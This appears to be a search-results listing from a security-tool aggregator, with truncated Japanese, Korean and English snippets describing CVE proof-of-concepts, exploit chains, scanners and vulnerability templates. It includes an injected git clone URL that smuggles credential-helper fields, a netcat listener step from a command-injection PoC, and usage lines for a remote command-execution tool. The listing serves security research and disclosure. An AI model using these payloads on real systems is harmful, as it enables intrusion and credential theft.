116226 matches found
CVE-2020-5260
CVE-2020-5260 CVE-2020-5260 デモ記録 git が git clone https://example.com のようなコマンドを実行する際、プロトコル "https" を使用してホスト "example.com" の資格情報を保存するよう要求し、リモート側で認証が要求された場合に、返された資格情報を発行したリクエストに追加します。 root@kitploit: git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https 参考リンク:...
authcov
AuthCov Web app authorisation coverage scanning. Introduction AuthCov crawls your web application using a Chrome headless browser while logged in as a pre-defined user. It intercepts and logs API requests as well as pages loaded during the crawling phase. In the next phase it logs in under a...
CVE-2023-28432
CVE-2023-28432 MiniO verify インターフェースの機密情報漏洩脆弱性 CVE-2023-28432 日本語名: MinIO verify インターフェースの機密情報漏洩脆弱性（CVE-2023-28432） 説明 : MinIOは、Amazon S3...
SubrionCMS-4.2.1-File-upload-RCE-auth-
SubrionCMS-4.2.1-File-upload-RCE-auth- これは、CVE-2018-19422 のエクスプロイトを編集したもので、私が遭遇した小さな厄介な問題を修正しています。 CTFでこのエクスプロイトを使用する必要があったのですが、正しく動作させることができず、ログインに失敗し続けました。長い時間をかけてようやく原因がわかりました。それはURL引数の問題でした。URLを指定すると、プログラムは自動的に末尾が / で終わると想定していましたが、私はそうしていませんでした。 私が行っていたこと： http://example.com 正しい方法：...
CVE-2021-41773
CVE-2021-41773 Go言語のPOC&EXPプロジェクト。 声明：このプロジェクトは作者の日常学習ノートに基づいています。 関連技術やツールを不正なテストに使用しないでください。これにより生じた一切の不良結果について作者は責任を負いません。 使い方： root@kitploit: ./main -u 個別URL ./main -u -c 個別URLで単一コマンド実行 ./main -f バッチ検証用URLファイル ./main -f -o URLファイル検証、脆弱性のあるものをエクスポート ./main -u -cmd ループ非対話式コマンド実行 プログラム実行結果：...
Rejetto HTTP File Server - Template injection
This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request. id: CVE-2024-23692 info: name: Rejetto HTTP File Server - Template injection author: johnk3r severity: critical description: | This...
WordPress AI Engine Plugin - Token Exposure
Unauthenticated sensitive information exposure in AI Engine WordPress plugin = 3.1.3 exposes bearer tokens via REST API endpoints when No-Auth URL is enabled. id: CVE-2025-11749 info: name: WordPress AI Engine Plugin - Token Exposure author: 4m3rr0r severity: critical description: | Unauthenticat...
CVE-2020-14179
CVE-2020-14179 スキャナー サンプルスキャン ./CVE-2020-14179.pl -u jira.atlassian.com または ./CVE-2020-14179.pl -u https://jira.atlassian.com リストスキャン ./CVE-2020-14179.pl -l list.txt オプション表示 ./CVE-2020-14179.pl インストールと使用方法 linux git clone https://github.com/c0brabaghdad1/CVE-2020-14179.git cd CVE-2020-14179 chmod...
CVE-2024-22243
CVE-2024-22243 著者: Sean Pesce このプロジェクトは、Java Spring Framework における URL パースの脆弱性 CVE-2024-22243 の悪用可能なシナリオを示すサンプル Web アプリケーションを含んでいます（公式開示はこちら）。 脆弱性 影響を受けるバージョンの Spring は、URL の "userinfo" セグメント を独自の方法でパースし、その結果、他の多くの一般的なライブラリとは異なるホスト名セグメントを抽出する可能性があります。 異常な動作は、UriComponentsBuilder...
CVE-2021-37580
CVE-2021-37580 CVE-2021-37580 ヘルプ python CVE-2021-37580.py http://1.1.13.1...
remote-control
Laravel用リモートコントロール 認証情報を共有せずにユーザーアカウントへのリモートアクセスを許可します。 インストール 設定 使用法 ルーティング リモートアクセスの作成 生成されたアクセストークンの使用 インストール Remote Control は composer 経由でインストールできます: root@kitploit: composer require "katsana/remote-control" 設定 このパッケージは自動的にサービスプロバイダを登録します。 次に、Remote Control 設定ファイルを公開する必要があります: root@kitploit: p...
PDFkit-CMD-Injection
PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 コマンドインジェクション。 pdfkit パッケージは、URL が適切にサニタイズされていないため、コマンドインジェクションに対して脆弱です。 注: この問題は 0.8.7.2 でパッチが当てられましたが、そのパッチは効果がないことが判明しました。更新されたパッチバージョンは 0.8.7.2 です。 PoC HTTP サーバーを起動する root@kitploit: python3 -m http.server 80 netcat リスナーを起動する root@kitploit: nc...
Injectus
Injectus URL 목록을 순회하며 CRLF 및 오픈 리다이렉트 페이로드를 시도하는 간단한 Python 도구입니다. root@kitploit: ▪ ▐ ▄ ▐▄▄▄▄▄▄ . ▄▄· ▄▄▄▄▄▄• ▄▌.▄▄ · ██ •█▌▐█ ·██▀▄.▀·▐█ ▌▪•██ █▪██▌▐█ ▀. ▐█·▐█▐▐▌▪▄ ██▐▀▀▪▄██ ▄▄ ▐█.▪█▌▐█▌▄▀▀▀█▄ ▐█▌██▐█▌▐▌▐█▌▐█▄▄▌▐███▌ ▐█▌·▐█▄█▌▐█▄▪▐█ ▀▀▀▀▀▀ █▪ ▀▀▀• ▀▀▀ ·▀▀▀ ▀▀▀ ▀▀▀ ▀▀▀▀ BOUNTYSTRIKE usage:...
CVE-2019-11708
CVE-2019-11708 및 CVE-2019-9810을 위한 전체 체인 익스플로잇 이것은 Windows 64비트에서 Firefox를 대상으로 하는 전체 브라우저 손상 익스플로잇 체인CVE-2019-11708 및 CVE-2019-9810입니다. CVE-2019-9810을 사용하여 콘텐츠 프로세스와 부모 프로세스 모두에서 코드 실행을 얻고, CVE-2019-11708을 사용하여 부모 프로세스를 속여 임의의 URL로 이동하게 합니다. 저는 과거에 A journey into IonMonkey: root-causing...
Serein
Serein | 黄昏の雨の中に立つ | このプロジェクトは更新を停止しました Linux英語版が公開されました！ | Linux英文版版本上线！ http://github.com/W01fh4cker/SereinLinux 宣言 | 声明 このプロジェクトは許可された環境でのみ使用してください。違法な操作に使用することは禁止されており、その結果は自己責任となります。中華人民共和国ネットワークセキュリティ法を遵守してください！！！ 短期間の徹夜で作成したため、多くの誤りがあると思われます。ご指摘いただければ幸いです。私の連絡先は以下に記載しています。...
CVE-2021-22986_Check
CVE-2021-22986점검 CVE-2021-22986 Python3 점검 스크립트 사용 방법: python3 checker.py -u http://url 출력: root@kitploit: HOST IS NOT VULNERABLE: | | | / | | | | | | | | | | | | | | | | \ \ | ' | |/ | | | | | | | | | | | | | || |/ |/| ./||/||| | | || Vuln Checker ! Target: http://URL + http://URL is NOT...
CVE-2023-41080
脆弱: http://localhost:8081//secret.html;@example.com 任意のWebサイトにリダイレクトされます（この場合は、https://example.com）。 修正済み: http://localhost:8082//secret.html;@example.com 参照: https://github.com/advisories/GHSA-q3mw-pvr8-9ggc...
CVE-2025-69600
CVE-2025-69600 作者: Rafael José Núñez Gulías 企業: Iberian Var Group 影響を受ける製品: RayVentory Scan Engine 12.6 Update 8 およびそれ以前のバージョン Raynet セキュリティアドバイザリ: RSEC200966 Raynet の rvia におけるコマンドインジェクションにより、攻撃者は getconfig、upload、inventory、oracle の各オプションを介してコマンドを実行できます。 バリデーションは（設定プロパティ ForbiddenCurlChars が...